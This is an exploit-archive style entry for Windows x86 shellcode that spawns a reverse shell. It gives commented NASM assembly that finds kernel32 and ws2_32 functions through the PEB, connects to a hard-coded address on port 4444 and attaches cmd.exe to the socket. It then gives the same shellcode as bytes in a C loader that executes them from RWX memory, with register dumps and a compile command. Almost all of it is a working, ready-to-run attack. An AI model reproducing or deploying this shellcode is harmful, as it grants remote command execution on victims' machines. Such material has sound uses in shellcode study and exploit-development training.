; Exploit Title:Windows x86 - spawn reverse shell Win7/10 (387 bytes)
; Date: 2019-11-16
; Author: bolonobolo
; Vendor Homepage: None
; Software Link: None
; Tested on: Windows x86
; Comments: reverse shell
; CVE: N/A

global _start

section .text
_start:


getkernel32:
	xor ecx, ecx				; zeroing register ECX
	mul ecx						; zeroing register EAX EDX
	mov eax, [fs:ecx + 0x030]	; PEB loaded in eax
	mov eax, [eax + 0x00c]		; LDR loaded in eax
	mov esi, [eax + 0x014]		; InMemoryOrderModuleList loaded in esi
	lodsd						; program.exe address loaded in eax (1st module)
	xchg esi, eax				
	lodsd						; ntdll.dll address loaded (2nd module)
	mov ebx, [eax + 0x10]		; kernel32.dll address loaded in ebx (3rd module)

	; EBX = base of kernel32.dll address

getAddressofName:
	mov edx, [ebx + 0x3c]		; load e_lfanew address in ebx
	add edx, ebx				
	mov edx, [edx + 0x78]		; load data directory
	add edx, ebx
	mov esi, [edx + 0x20]		; load "address of name"
	add esi, ebx
	xor ecx, ecx

	; ESI = RVAs

getProcAddress:
	inc ecx 							; ordinals increment
	lodsd								; get "address of name" in eax
	add eax, ebx				
	cmp dword [eax], 0x50746547			; GetP
	jnz getProcAddress
	cmp dword [eax + 0x4], 0x41636F72	; rocA
	jnz getProcAddress
	cmp dword [eax + 0x8], 0x65726464	; ddre
	jnz getProcAddress

getProcAddressFunc:
	mov esi, [edx + 0x24]		; offset ordinals
	add esi, ebx 				; pointer to the name ordinals table
	mov cx, [esi + ecx * 2] 	; CX = Number of function
	dec ecx
	mov esi, [edx + 0x1c]    	; ESI = Offset address table
	add esi, ebx             	; we placed at the begin of AddressOfFunctions array
	mov edx, [esi + ecx * 4] 	; EDX = Pointer(offset)
	add edx, ebx             	; EDX = getProcAddress
	mov ebp, edx 				; save getProcAddress in EBP for future purpose

getLoadLibraryA:
	xor ecx, ecx 				; zeroing ecx
	push ecx 					; push 0 on stack
	push 0x41797261   			; 
	push 0x7262694c				;  AyrarbiLdaoL
	push 0x64616f4c 			;
	push esp
	push ebx 					; kernel32.dll
	call edx 					; call GetProcAddress and find LoadLibraryA address

	; EAX 76392864 kernel32.LoadLibraryA
    ; ECX 76340000 kernel32.76340000
    ; EDX 76340000 kernel32.76340000
    ; EBX 76340000 kernel32.76340000
    ; ESP 0022FF7C ASCII "LoadLibraryA"
    ; EBP 76391837 kernel32.GetProcAddress
    ; ESI 763F4DD0 kernel32.763F4DD0
    ; EDI 00000000
    ; EIP 0040106F reverse_.0040106F

getws2_32:
	push 0x61613233			        ; 23
	sub word [esp + 0x2], 0x6161    ; sub aa from aa23_2sw
	push 0x5f327377 		        ; _2sw
	push esp                        ; pointer to the string
	call eax 						; call Loadlibrary and find ws2_32.dll
	mov esi, eax                    ; save winsock handle for future puproses

    ; EAX 76740000 OFFSET ws2_32.#332
    ; ECX 77DC316F ntdll.77DC316F
    ; EDX 005E0174
    ; EBX 76660000 kernel32.76660000
    ; ESP 0022FF74 ASCII "ws2_32"
    ; EBP 766B1837 kernel32.GetProcAddress
    ; ESI 76740000 OFFSET ws2_32.#332
    ; EDI 00000000
    ; EIP 00401085 reverse_.00401085

getWSAStartup:
	push 0x61617075                  ; aapu
	sub word [esp + 0x2], 0x6161     ; sub aa from aapu
	push 0x74726174                  ; trat
	push 0x53415357                  ; SASW
	push esp	                     ; pointer to the string
	push esi	                     ; winsock handler
	call ebp                         ; GetProcAddress(ws2_32.dll, WSAStartup)

    ; EAX 7674C0FB ws2_32.WSAStartup
    ; ECX 76740000 OFFSET ws2_32.#332
    ; EDX 00001725
    ; EBX 76660000 kernel32.76660000
    ; ESP 0022FF68 ASCII "WSAStartup"
    ; EBP 766B1837 kernel32.GetProcAddress
    ; ESI 76740000 OFFSET ws2_32.#332
    ; EDI 00000000
    ; EIP 0040109F reverse_.0040109F

callWSAStartUp:
	xor edx, edx
	mov dx, 0x190          ; EAX = sizeof( struct WSAData )
	sub esp, edx           ; alloc some space for the WSAData structure
	push esp               ; push a pointer to this stuct
	push edx               ; push the wVersionRequested parameter
	call eax               ; call WSAStartup(MAKEWORD(2, 2), wsadata_pointer)

    ; EAX 00000000
    ; ECX 7674C230 ws2_32.7674C230
    ; EDX 77DB0002 ASCII "ingToUnicodeString"
    ; EBX 76660000 kernel32.76660000
    ; ESP 0022FDD8
    ; EBP 766B1837 kernel32.GetProcAddress
    ; ESI 76740000 OFFSET ws2_32.#332
    ; EDI 00000000
    ; EIP 004010AA reverse_.004010AA

getWSASocketA:
	push 0x61614174                  ; 'aaAt'
	sub word [esp + 0x2], 0x6161          ; sub aa from aaAt
	push 0x656b636f                  ; 'ekco'
	push 0x53415357                  ; 'SASW'
	push esp                         ; pointer to the string
	push esi                         ; socket handler
	call ebp                         ; GetProcAddress(ws2_32.dll, WSASocketA)

    ; EAX 7674B7FC ws2_32.WSASocketA
    ; ECX 76740000 OFFSET ws2_32.#332
    ; EDX 00001725
    ; EBX 76660000 kernel32.76660000
    ; ESP 0022FDCC ASCII "WSASocketA"
    ; EBP 766B1837 kernel32.GetProcAddress
    ; ESI 76740000 OFFSET ws2_32.#332
    ; EDI 00000000
    ; EIP 004010C4 reverse_.004010C4


callWSASocketA:
	xor edx, edx		            ; clear edx
	push edx;		                ; dwFlags=NULL
	push edx;		                ; g=NULL
	push edx;		                ; lpProtocolInfo=NULL
	mov dl, 0x6		                ; protocol=6
	push edx
	sub dl, 0x5      	            ; edx==1
	push edx		                ; type=1
	inc edx			                ; af=2
	push edx
	call eax		                ; call WSASocketA
	push eax		                ; save eax in edx
	pop edi			                ; 

    ; EAX 00000054
    ; ECX 73FB685E
    ; EDX 00000016
    ; EBX 76660000 kernel32.76660000
    ; ESP 0022FDCC ASCII "WSASocketA"
    ; EBP 766B1837 kernel32.GetProcAddress
    ; ESI 76740000 OFFSET ws2_32.#332
    ; EDI 00000054
    ; EIP 004010D6 reverse_.004010D6

getConnect:
	push 0x61746365                 ; atce
	sub word [esp + 0x3], 0x61      ; atce - a = tce
	push 0x6e6e6f63                 ; nnoc
	push esp	                    ; pointer to the string
	push esi	                    ; socket handler
	call ebp                        ; GetProcAddress(ws2_32.dll, connect)

    ; EAX 767448BE ws2_32.connect
    ; ECX 76740000 OFFSET ws2_32.#332
    ; EDX 00001725
    ; EBX 76660000 kernel32.76660000
    ; ESP 0022FDC4 ASCII "connect"
    ; EBP 766B1837 kernel32.GetProcAddress
    ; ESI 76740000 OFFSET ws2_32.#332
    ; EDI 00000054
    ; EIP 004010EA reverse_.004010EA



callConnect:
	;set up sockaddr_in
	mov edx, 0xec02a9c1	            ;the IP plus 0x01010101 so we avoid NULLs (IP=192.168.1.236)
	sub edx, 0x01010101	            ;subtract from edx to obtain the real IP
	push edx                        ;push sin_addr
	push word 0x5c11                ;0x115c = (port 4444)
	xor edx, edx
	mov dl, 2
	push dx	
	mov edx, esp
	push byte 0x10
	push edx
	push edi
	call eax

    ; EAX 00000000
    ; ECX 00347010
    ; EDX 77DB64F4 ntdll.KiFastSystemCallRet
    ; EBX 76660000 kernel32.76660000
    ; ESP 0022FDBC
    ; EBP 766B1837 kernel32.GetProcAddress
    ; ESI 76740000 OFFSET ws2_32.#332
    ; EDI 00000054
    ; EIP 00401108 reverse_.00401108



getCreateProcessA:
	xor ecx, ecx 					; zeroing ECX
	push 0x61614173					; aaAs
	sub word [esp + 0x2], 0x6161 	; aaAs - aa
	push 0x7365636f 				; ecor
	push 0x72506574					; rPet
	push 0x61657243 				; aerC
	push esp 						; push the pointer to stack
	push ebx 						; kernel32 handler
	call ebp 						; GetProcAddress(kernel32.dll, CreateProcessA)
	mov esi, ebx                    ; save kernel32.dll handler for future purposes

    ; EAX 76662062 kernel32.CreateProcessA
    ; ECX 76660000 kernel32.76660000
    ; EDX 76660000 kernel32.76660000
    ; EBX 76660000 kernel32.76660000
    ; ESP 0022FDAC ASCII "CreateProcessA"
    ; EBP 766B1837 kernel32.GetProcAddress
    ; ESI 76660000 kernel32.76660000
    ; EDI 00000054
    ; EIP 00401129 reverse_.00401129

shell:
	push 0x61646d63                 ; push admc
	sub word [esp + 0x3], 0x61      ; sub a to admc = dmc
	mov ebx, esp                    ; save a pointer to the command line
	push edi                        ; our socket becomes the shells hStdError
	push edi                        ; our socket becomes the shells hStdOutput
	push edi                        ; our socket becomes the shells hStdInput
	xor edi, edi                    ; Clear edi for all the NULL's we need to push
	push byte 0x12                  ; We want to place (18 * 4) = 72 null bytes onto the stack
	pop ecx                         ; Set ECX for the loop

push_loop:
	push edi                        ; push a null dword
	loop push_loop                  ; keep looping untill we have pushed enough nulls
	mov word [esp + 0x3C], 0x0101   ; Set the STARTUPINFO Structure's dwFlags to STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
	mov byte [esp + 0x10], 0x44
	lea ecx, [esp + 0x10]  ; Set EAX as a pointer to our STARTUPINFO Structure

  	;perform the call to CreateProcessA
	push esp               ; Push the pointer to the PROCESS_INFORMATION Structure 
	push ecx               ; Push the pointer to the STARTUPINFO Structure
	push edi               ; The lpCurrentDirectory is NULL so the new process will have the same current directory as its parent
	push edi               ; The lpEnvironment is NULL so the new process will have the same enviroment as its parent
	push edi               ; We dont specify any dwCreationFlags 
	inc edi                ; Increment edi to be one
	push edi               ; Set bInheritHandles to TRUE in order to inheritable all possible handle from the parent
	dec edi                ; Decrement edi back down to zero
	push edi               ; Set lpThreadAttributes to NULL
	push edi               ; Set lpProcessAttributes to NULL
	push ebx               ; Set the lpCommandLine to point to "cmd",0
	push edi               ; Set lpApplicationName to NULL as we are using the command line param instead
	call eax

    ; EAX 00000001
    ; ECX 766BF6B0 kernel32.766BF6B0
    ; EDX 002E0174
    ; EBX 0022FDA8 ASCII "cmd"
    ; ESP 0022FD54
    ; EBP 766B1837 kernel32.GetProcAddress
    ; ESI 76660000 kernel32.76660000
    ; EDI 00000054
    ; EIP 0040115F reverse_.0040115F

getExitProcess:
	add esp, 0x010 				; clean the stack
	push 0x61737365				; asse
	sub word [esp + 0x3], 0x61  ; asse -a 
	push 0x636F7250				; corP
	push 0x74697845				; tixE
	push esp
	push esi
	call ebp                    ; GetProcAddress(kernel32.dll, ExitProcess)

	xor ecx, ecx
	push ecx
	call eax
#include <stdio.h>
#include <windows.h>

int main()
{

    char* shellcode = \
    "\x31\xc9\xf7\xe1\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad"
"\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda"
"\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65"
"\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78"
"\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde\x66\x8b\x0c"
"\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x89\xd5\x31"
"\xc9\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f"
"\x61\x64\x54\x53\xff\xd2\x68\x33\x32\x61\x61\x66\x81\x6c\x24"
"\x02\x61\x61\x68\x77\x73\x32\x5f\x54\xff\xd0\x89\xc6\x68\x75"
"\x70\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x74\x61\x72\x74"
"\x68\x57\x53\x41\x53\x54\x56\xff\xd5\x31\xd2\x66\xba\x90\x01"
"\x29\xd4\x54\x52\xff\xd0\x68\x74\x41\x61\x61\x66\x81\x6c\x24"
"\x02\x61\x61\x68\x6f\x63\x6b\x65\x68\x57\x53\x41\x53\x54\x56"
"\xff\xd5\x31\xd2\x52\x52\x52\xb2\x06\x52\x80\xea\x05\x52\x42"
"\x52\xff\xd0\x50\x5f\x68\x65\x63\x74\x61\x66\x83\x6c\x24\x03"
"\x61\x68\x63\x6f\x6e\x6e\x54\x56\xff\xd5\xba\xc1\xa9\x02\xed"
"\x81\xea\x01\x01\x01\x01\x52\x66\x68\x11\x5c\x31\xd2\xb2\x02"
"\x66\x52\x89\xe2\x6a\x10\x52\x57\xff\xd0\x31\xc9\x68\x73\x41"
"\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x65\x73\x68"
"\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x53\xff\xd5\x89\xde"
"\x68\x63\x6d\x64\x61\x66\x83\x6c\x24\x03\x61\x89\xe3\x57\x57"
"\x57\x31\xff\x6a\x12\x59\x57\xe2\xfd\x66\xc7\x44\x24\x3c\x01"
"\x01\xc6\x44\x24\x10\x44\x8d\x4c\x24\x10\x54\x51\x57\x57\x57"
"\x47\x57\x4f\x57\x57\x53\x57\xff\xd0\x83\xc4\x10\x68\x65\x73"
"\x73\x61\x66\x83\x6c\x24\x03\x61\x68\x50\x72\x6f\x63\x68\x45"
"\x78\x69\x74\x54\x56\xff\xd5\x31\xc9\x51\xff\xd0"; 
			
    printf("shellcode length: %i", strlen(shellcode));

    LPVOID lpAlloc = VirtualAlloc(0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpAlloc, shellcode, strlen(shellcode));

    ((void(*)())lpAlloc)();

    return 0;
}
c:\MinGW\bin>gcc shellcode.c -o shellcode